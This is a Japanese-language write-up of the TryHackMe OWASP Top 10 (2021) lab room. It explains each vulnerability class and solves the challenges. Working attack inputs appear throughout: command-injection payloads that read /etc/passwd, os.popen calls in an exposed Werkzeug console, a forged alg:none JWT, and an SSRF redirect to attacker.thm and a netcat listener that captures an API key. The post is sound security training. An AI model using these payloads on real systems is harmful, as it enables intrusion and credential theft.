Try Hack Me OWASP Top 10 - 2021 Write Up

OWASPとは

Open Worldwide Application Security Project , 通称 OWASP はセキュリティ環境の改善、促進やノウハウの共有を目指すオープンソースコミュニティとのこと。

団体はかなり前から存在しますが、日本チャプターも数年前からあるんですね。素晴らしい。

この OWASPという団体が2-3 年周期でその時最も脅威とされる脆弱性を Top10 形式で提供されるのが OWASP Top10 。一番最近は2021版のようですが、今年には 2025 版が出るようです？

Try Hack Me OWASP Top10 は THM の Learning Content の中で OWASP とはなにかを学べるモジュールで、今回はそのモジュールの Writeup になります。

Broken Access Control - Insecure Direct Object Reference

https://bank.thm/account?id=111111 のように id=xxxxx のクエリでアカウントの識別を行っている場合、ユーザーが誤って他のアカウントにアクセスできないようコントロールが必要。

id=111111 のユーザーが例えば...

id=222222 に変更した場合、アクセスできてしまっては危ない！

このようにユーザーが指定したIDで別アカウントにアクセスできてしまう脆弱を Insecure Direct Object Reference (IDOR) という。

チャレンジ

Deploy the machine and go to http://xx.xx.xx.xxx - 
Login with the username noot and the password test1234.

Look at other users' notes. What is the flag?

ログインすると id=1 のページに

id=2にすると別アカウントへ遷移。Stu の誕生日はしっかり祝ったのだろうか。

id=5 まで行くとこんなヒントが。

id=0でした。

A: flag{fivefourthree}

Cryptographic Failures

暗号化の失敗とは、機密情報を保護するために使う暗号アルゴリズムの使い方が間違っていたり（あるいは全く使われていなかった）することで発生する脆弱性のこと。

例えば、セキュアなメールアプリを例に:

1. ブラウザでメールアカウントにアクセスするとき、サーバー間の通信は暗号化されているはずなのでメールの内容を読み取ることはできないはず
2. サーバーに保存されるメールも暗号化されていることもある

これらが正しく設定されていない場合、機密データが誤って漏洩してしまうリスクがある。

チャレンジ

It's now time to put what you've learnt into practice! For this challenge,
connect to the web application.

Have a look around the web app. The developer has left themselves
a note indicating that there is sensitive data in a specific directory. 
What is the name of the mentioned directory?`

サイト確認。 見る限りだと top page と login と email ボタンだけ。
なんら情報がないなと思いソースコードを確認したところ、login ページのソースにそれっぽいコメントが

/assets になにか入っているっぽい

A: /assets

Navigate to the directory you found in question one. 
What file stands out as being likely to contain sensitive data?

webapp.db なるデータベース発見。コメントに database 云々があったので、
おそらくこれを弄る必要がある。こんなところにあっていいのだろうか。
クリックするとローカルに db ファイルがアクセス可能に。

A: webapp.db

Use the supporting material to access the sensitive data. 
What is the password hash of the admin user?

この db を sqlite3 で見てみる。

┌──(root㉿kali)-[/home/kali/Downloads]
└─# sqlite3 webapp.db 
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
sessions  users   
sqlite> PRAGMA table_info(users);
0|userID|TEXT|1||1
1|username|TEXT|1||0
2|password|TEXT|1||0
3|admin|INT|1||0

sqlite> select * from users
   ...> ;
4413096d9c933359b898b6202288a650|admin|6eea9b7ef19179a06954edd0f6c05ceb|1
23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0

A: 6eea9b7ef19179a06954edd0f6c05ceb

Crack the hash.
What is the admin's plaintext password?

見つけた hash を Crackstation で確認。

A: qwertyuiop

Log in as the admin. What is the flag?

取得したパスワードをそのまま login ページで利用。username は admin

\ﾃﾞﾃﾞｰﾝ!!!/

A: THM{Yzc2YjdkMjE5N2VjMzNhOTE3NjdiMjdl}

Command Injection

Webアプリケーションにおける脆弱性で、攻撃者がWebサーバ上で任意のOSコマンドを実行できてしまうもの。

ユーザーの入力内容にコマンドとして解釈される文字列が含まれていると、Webアプリケーションの意図しないアクションが実行されてしまう 可能性があるとのこと。

チャレンジ

What strange text file is in the website's root directory?

該当のページにいくと、
打ち込んだテキストを読み上げる牛を召喚するページに。
KAWAII

該当のセクションを読み上げる限り、PHP の injection 課題のよう。（後にレスポンスヘッダーに X-Powered-By : PHP を発見）ということは、$() での injection ができそう。

ということで、早速　$(ls)

でた。そしてあからさまに怪しい drpepper.txt
僕個人てきには drpepper は苦手です。

A: drpepper.txt

How many non-root/non-service/non-daemon users are there?

これはつまり、「このマシンにはどれくらいユーザーいるの？」ということかとおもう。

ユーザーのリストを探すのに一番カンタンなのは cat /etc/passwd ここには各ユーザーのアカウント情報がある。

$(cat /etc/passwd)

そして出た結果は以下の通り

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin

思ったより長いぞ。

ここで自分へのおさらいとして、/etc/passwd の読み方

root:x:0:0:root:/root:/bin/ash

これを解剖するとこう

username:password:User ID(UID):Group ID(GID):User Info(GECOS):Home Directory:Command/Shell

1. Username : ユーザーの名前
2. Password : ユーザーのパスワード。/etc/shadow に大抵は隠されているのでここでは x で秘匿
3. User ID: 各ユーザーにつく一意的なID
4. Group ID: /etc/group で作成されたグループのID
5. GECOS/User Info: ユーザーに関する追加事項
6. Home Directory: ユーザーログイン時のデフォルトのパス
7. Command/Shell: ユーザーが使う・使えるコマンドやシェル

ということ。

では、チャレンジを紐解くにはこのリストのうちどれが一般的なユーザーかをわかる必要があるが、 色々掘り下げてみると（例えばこのコンテンツとか)どうやら、ユーザーはいまでは 1000 スタートらしい。

リストをみると nobody という 青春時代 KH を楽しんでいた人間としては少し「おや？」となる UID=65534 がいるが、どうやらこれはデフォルトで存在する非特権ユーザーのよう。（参照) これはなのでユーザーとは言い難い。

ということで答えとしては 0 のようですね。

A: 0

What user is this app running as?

これはわりかし簡単。私は誰か（哲学）ということなので、$(whoami) でよいかと

A: apache

What is the user's shell set as?

これは先程の /etc/passwd をみればいいわけで、
どうやら /sbin/nologin のようです。

A: /sbin/nologin

What version of Alpine Linux is running?

質問から察するにこちらのサービスは Alpine Apache で動いているよう。
そもそもだけど、OS バージョンをみるコマンドってなんなのかなという基礎的な疑問があったので調べたところ、こんなわかりやすい記事を発見。　

曰く、 cat /etc/os-release

試しに牛さんに問いてみたところ。

意図せずバージョンも出た。

A: 3.16.0

Insecure Design

Insecure Design, つまり「設計上の欠陥」とは、アプリケーションの構造そのものに内在する脆弱性のこと。アプリケーションの基本的な仕組みにセキュリティ上の問題があり、コードのバグや設定ミスではなく、設計そのものが脆弱。

これの例として挙げられていたのがインスタグラムのパスワードリセットプロセスにある欠陥。
インスタではパスワードを忘れた場合にリセット対応として 6桁の番号をSMSに送っていたらしく、悪意のあるユーザーはその仕組を使って Brute Force を仕掛けていた。ただ、250 回目でレート制限が掛かるようになっていたので、百万分の１のパスコードを探し当てることは到底無理なことだった。

が、その250回の制限は同一IPのみに制限されており、実は別のIPに変更すればもう250回試せたとのこと。IP はざっと 4000 IP あればよいということで、設計上の欠陥によるループホールが見つかってしまった。

詳しくは下の動画を。ちなみにこの脆弱をみつけたということで $30000 USD を Bounty Prize として獲得したらしい。

チャレンジ

Navigate to the page and get into joseph's account. 
This application also has a design flaw in its password reset mechanism. 
Can you figure out the weakness in the proposed design and how to abuse it?

ジョセフくんのアカウントにアクセスせよというチャレンジですが、
どうやらパスワードリセットになにか欠陥があるよう。

まずは下の "I forgot my password" から joseph にアクセス
確認したところ、3 つの Security Question から選べられるらしい。

なんとのその質問の１つが「好きな色はなに？」だったので、
片っ端にいれてみたところ green が答えであると判明。

パスワードがリセットされたのでそのままログインしたところ、
Private 内に Flag.txt を発見。

A: THM{Not_3ven_c4tz_c0uld_sav3_U!}

これは秘密の質問に答える回数制限が無いという欠陥でした。

Security Misconfiguration

セキュリティ設定ミスは、最新ソフトを使っても設定が悪ければ脆弱になること。
対策できたはずのセキュリティが適切に設定されなかったことが原因で起こるトホホ事象。

具体例としては、

• クラウドの設定ミス: S3バケット等のアクセス権限設定ミス
• 不要な機能の有効化: 使わないサービスやアカウント等の有効化
• 初期パスワードの未変更: デフォルトアカウントとパスワードのまま
• HTTPセキュリティヘッダーの未設定: セキュリティ対策が施されていない

などなど。

チャレンジ

Navigate to the page and try to exploit the security misconfiguration to
read the application's source code.

Navigate to /console to access the Werkzeug console.

/console というページに Python を使えるウェブコンソールを発見。
明らかにここでなにか打ち込んだら情報取れそう。

What is the database file name (the one with the .db extension)
in the current directory?

コンソールを使って .db 拡張子のファイル名を探すということで、
以下のコードをコンソールに打ち込む。

import os; print(os.popen("ls -l").read())

そうすると、画面にはこのように。

A: todo.db

Modify the code to read the contents of the app.py file, 
which contains the application's source code.
What is the value of the secret_flag variable in the source code?

同じディレクトリ内にある app.py のソースコード内に secret_flag変数があるらしい。
そこで、先程のコマンドに cat app.py を追加して

import os; print(os.popen("cat app.py").read())

えい

見つけました。
大事な情報を直打ち民

A: THM{Just_a_tiny_misconfiguration}

Vulnerable and Outdated Components

古いバージョンや EOL な製品を使っているソフトウェアやサイトに攻撃を仕掛けること。
これにはには２つ大きな問題がある。

1. そもそももうサポートがされていないソフトウェアかも
2. もうすでに脆弱性がみつかっており、CVE も書かれている

チャレンジ

Navigate to the website where you'll find a vulnerable application. 
All the information you need to exploit it can be found online. 

特にヒントもなく「サイトを見て脆弱性を検索しろ」という...突然の手放し。

What is the content of the /opt/flag.txt file?

サイトにアクセスすると、シンプルなオンラインブックストアのよう。

中身は PHP と MYSQL を使っているらしく、
とりあえず exploit-dbで CSE bookstore を検索したところ

ひっかかった。
あとは、CVE通りコードを丸パクリして実行。

実行したコードで cat /opt/file.txt したら見事発見。

A: THM{But_1ts_n0t_my_f4ult!}

Identification and Authentication Failures

Webアプリでは、認証（誰がアクセスしているか確認）とセッション管理（アクセスした人を覚えておく）が重要なのは当然だけども、認証に欠陥があると、他人のアカウントを乗っ取られる可能性なんて想像できること。

ちなみに、認証系の攻撃はこういったものがある

• ブルートフォース攻撃: パスワードを何度も試して突破する
• 弱いパスワード: "password1"のような推測しやすいパスワードを使われる
• 脆弱なセッションクッキー: セッションクッキーが予測可能で、他人に成りすまされる

チャレンジ

Many times, what happens is that developers forget to sanitise the
input(username & password) given by the user in the code of their 
application, which can make them vulnerable to attacks like SQL injection. 

To see this in action, go to the website and try to register with darren as 
your username. You'll see that the user already exists, so try to register 
" darren" instead, and you'll see that you are now logged in and can see 
the content present only in darren's account, which in our case, is the 
flag that you need to retrieve.

ようは、入力のサニタイズをしっかり行わないと「たかし」と「　たかし」が同じアカウントとして登録できてしまう。

What is the flag that you found in darren's account?

さっそく同様のロジックでサイトの Register ボタンから " darren" を登録。
試しにログインしてみる。

どうやら "darren" のページにアクセス可能に。

A: fe86079416a21a3c99937fea8874b667

What is the flag that you found in arthur's account?

次は arthur. 同じく " arthur" で登録してログインしたところ

A: d9ac0f7db4fda460ac3edeb75d75e16e

Data Integrity Failures

多くの Web アプリケーションでは、ユーザーがログインすると、サーバー側でセッショントークンが生成される。このトークンは、ユーザーを一意に識別するための文字列であり、セッションが有効な間、クライアント（ブラウザ）とサーバー間でやり取りする。

1. ユーザーがログイン: ユーザー名とパスワードなどの認証情報がサーバーに送信される
2. セッショントークンの生成: サーバーは認証情報を検証し、成功した場合、セッショントークンを生成する
3. セッショントークンの保存: 生成されたセッショントークンは、通常、HTTP レスポンスの Set-Cookie ヘッダーを通じてクライアントに送信され、ブラウザに保存される
4. リクエスト時のトークン送信: 以降、クライアントは、そのドメインへのリクエストごとに、Cookie ヘッダーにセッショントークンを含めてサーバーに送信する
5. セッションの検証: サーバーは、リクエストに含まれるセッショントークンを検証し、有効なセッションであれば、ユーザーを認証済みとして扱う

セッショントークンは、主に:

1. ランダムな文字列: セキュリティを確保するために、十分に長い文字列を生成
2. JWT (JSON Web Token): 自己完結型のトークン形式で、ユーザー情報や権限などのデータを JSON 形式でエンコードし、署名や暗号化を可能に

(JWT 例)

JSON Web Token (JWT) は、ユーザー認証や情報共有に広く利用されているものの、
過去に実装した一部のライブラリに、データ完全性の脆弱性が。
脆弱性では攻撃者が署名検証を回避し、JWT のペイロードを改ざんできてしまう。

脆弱性の原因：alg: none 攻撃
問題となった脆弱性は、JWT の署名検証処理の不備に起因。

1. ヘッダーの改ざん: JWT ヘッダーの alg パラメータを none に書き換える
2. 署名の削除: JWT から署名部分を削除する

JWT はヘッダー、ペイロード、署名の 3 部分で alg パラメータは、署名の生成・検証に使用するアルゴリズム。脆弱なライブラリは、alg: none が指定された場合、署名の存在や内容を適切に検証せずに、ペイロードを信頼してしまうという問題があるとのこと。

つまり、権限無いのに書き換えるだけであたかも権限を持つユーザーのように振る舞えてしまう。

チャレンジ

Navigate to the page and follow the instructions in the questions below.

Try logging into the application as guest. What is guest's account password?

guest でアクセスしてみようという最初の問題。でもパスワードはわからないし、ソースコードにも記載はない。とりあえず適当に最初打ってみたところ

教えるんか。

A: guest

Use the knowledge gained in this task to modify the JWT token so that the application thinks you are the user "admin".

What is the flag presented to the admin user?

ここからは実際のクッキーをいじって admin アクセスを試みる。

まずは、クッキーから JWT 情報を取得

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzM4NTA1MzY1fQ.IZgY8Q1hkuIg9YCRhWvSyJ8jHC2MX4UZ4HwicqRhBnk

これを . で分離すると

Header : eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
Paylode : eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNzM4NTA1MzY1fQ
Signature : IZgY8Q1hkuIg9YCRhWvSyJ8jHC2MX4UZ4HwicqRhBnk

このツールを用いて 解析をすると以下のよう。

user を admin に変更すると。

payload が eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM4NTA1MzY1fQ== に値が変わる。

この脆弱性というのは署名処理の値を noneに変更したうえで admin へ権限昇格をすると、
簡単にアクセスできてしまう問題なので、Header も変更してみたところ、以下の値にencode 可能に

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=

では header と payload を . でつなぎ直し、signature部分を省略して書き直すと

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzM4NTA1MzY1fQ==.
( 注：signature は省いたが、payload と signature を分けている . は残した）

そして値をもとに戻してページを更新すると...

A: THM{Dont_take_cookies_from_strangers}

( この部屋の中では一番ハッカーっぽい）

Security Logging and Monitoring Failures

Web アプリケーションを安全に運用するためには、適切なログ記録が必要不可欠。
ユーザーのあらゆるアクションを記録することで、インシデント発生時の調査や影響範囲の特定、さらには将来の攻撃リスクを減らすことが可能。

1.被害状況の把握: 攻撃の影響範囲や漏洩したデータなどを特定。
2.原因究明: 攻撃手法や悪用された脆弱性を特定し、再発防止策を検討。
3.証拠保全: 法的措置が必要な場合、ログは重要な証拠となる。

チャレンジ

STATUS	IP	USERNAME	TIMESTAMP	ENDPOINT
200 OK	12.55.22.88	jr22	2019-03-18T09:21:17	/login
200 OK	14.56.23.11	rand99	2019-03-18T10:19:22	/login
200 OK	17.33.10.38	afer11	2019-03-18T11:11:44	/login
200 OK	99.12.44.20	rad4	2019-03-18T11:55:51	/login
200 OK	67.34.22.10	bff1	2019-03-18T13:08:59	/login
200 OK	34.55.11.14	hax0r	2019-03-21T16:08:15	/login
401 Unauthorized	49.99.13.16	admin	2019-03-21T21:08:15	/login
401 Unauthorized	49.99.13.16	administrator	2019-03-21T21:08:20	/login
401 Unauthorized	49.99.13.16	anonymous	2019-03-21T21:08:25	/login
401 Unauthorized	49.99.13.16	root	2019-03-21T21:08:30	/login

このログを読んで答える。

What IP address is the attacker using?

401 Unauthorized がようは承認されていないアクセスなので怪しいユーザーであると想定した場合、その IP は 49.99.13.16となる

A: 49.99.13.16

What kind of attack is being carried out?

どのような攻撃かというと、見る限りだと同じ IP から連続的なログインが行われている。
しかもログインするたびにユーザーネームが違うので、これはもしやブルートフォースアタックでは？

A: brute force

Server-Side Request Forgery

サーバーサイドリクエストフォージェリ (SSRF) は、攻撃者が Web アプリケーションを騙して、攻撃者の意図する任意の宛先へリクエストを送信させることができる脆弱性。特に Web アプリケーションが外部のサードパーティサービスを利用する際に発生すること多い

https://www.mysite.com/sms?server=srv3.sms.thm&msg=hello という URL があった際に、sms?以降は API へ渡す値になるわけだが、
この値を改ざんして、以下のように攻撃者のサーバーに渡すことも可能に。

https://www.mysite.com/sms?server=attacker.thm&msg=ABC

とは、事前に指定したポートから値を取得すれば傍受と改ざん大成功。

チャレンジ

Navigate to the website, where you'll find a simple web application.
After exploring a bit, you should see an admin area, which will be our main objective. 
Follow the instructions on the following questions to gain access to the website's restricted area!

Explore the website. What is the only host allowed to access the admin area?

Admin ページは誰がアクセスできるかというと...

localhost でした。

A: localhost

Check the "Download Resume" button. Where does the server parameter point to?

John のレジュメをダウンロードする際のサーバーパラメータ探せという課題ですが、
これはブラウザの下を見ればよいだけ。

A: secure-file-storage.com

Using SSRF, make the application send the request to your AttackBox 
instead of the secure file storage. 
Are there any API keys in the intercepted request?

SSRF を用いて傍受し、おそらく見つかるであろうフラグを探せ！
まずは nc -lvnp 80 でポートを開く

次に、パラメータを改ざんして宛先を server={マシンのIP:80} に変更してリクエストを飛ばすと...

はい、ゲットーーー！

A: THM{Hello_Im_just_an_API_key}

終えて

ながい...ながいよ THM...
OWASP は重大脆弱性リストということで初心者もとっつきやすい問題ではありました。
チャレンジ自体は簡単でほぼすべてノーサーチでコンプリートしたかと思います。